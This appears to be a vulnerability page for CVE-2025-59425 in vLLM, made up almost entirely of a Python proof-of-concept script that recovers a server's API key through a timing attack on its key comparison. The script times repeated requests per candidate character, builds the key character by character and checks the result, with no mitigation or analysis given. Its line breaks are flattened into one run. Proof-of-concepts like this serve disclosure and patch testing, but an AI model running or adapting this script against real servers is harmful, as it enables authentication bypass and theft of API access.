CVE-2025-59425：vLLM API密钥验证时序攻击漏洞

#!/usr/bin/env python3 # CVE-2025-59425 PoC - vLLM API Key Timing Attack # This PoC demonstrates how to exploit the timing attack vulnerability # in vLLM's API key validation to bypass authentication. import requests import time import statistics from concurrent.futures import ThreadPoolExecutor TARGET_URL = "http://target-vllm-server:8000/v1/models" API_KEY_LENGTH = 32 # Adjust based on target's key length CHARSET = "abcdef0123456789" SAMPLES_PER_CHAR = 50 def measure_response_time(headers): """Measure HTTP response time for a given set of headers.""" times = [] for _ in range(SAMPLES_PER_CHAR): start = time.perf_counter_ns() try: response = requests.get(TARGET_URL, headers=headers, timeout=5) except requests.exceptions.RequestException: continue end = time.perf_counter_ns() times.append(end - start) return statistics.median(times) if times else float('inf') def test_key_prefix(prefix, char): """Test if appending a character to the prefix yields a longer response time.""" test_key = prefix + char + "a" * (API_KEY_LENGTH - len(prefix) - 1) headers = {"Authorization": f"Bearer {test_key}"} return char, measure_response_time(headers) def timing_attack(): """Perform timing attack to recover the API key character by character.""" discovered_key = "" for position in range(API_KEY_LENGTH): print(f"[*] Discovering character at position {position}...") with ThreadPoolExecutor(max_workers=len(CHARSET)) as executor: futures = [ executor.submit(test_key_prefix, discovered_key, char) for char in CHARSET ] results = [f.result() for f in futures] # The character with the longest response time is likely correct results.sort(key=lambda x: x[1], reverse=True) best_char, best_time = results[0] second_best_time = results[1][1] # Verify with a threshold (timing difference should be noticeable) if best_time - second_best_time > 1000: # nanoseconds threshold discovered_key += best_char print(f"[+] Found character: {best_char} (key so far: {discovered_key})") else: print(f"[-] Could not determine character at position {position}") break return discovered_key if __name__ == "__main__": print(f"[*] Starting timing attack against {TARGET_URL}") api_key = timing_attack() print(f"\n[+] Recovered API key: {api_key}") # Verify the recovered key headers = {"Authorization": f"Bearer {api_key}"} response = requests.get(TARGET_URL, headers=headers) print(f"[*] Verification status code: {response.status_code}")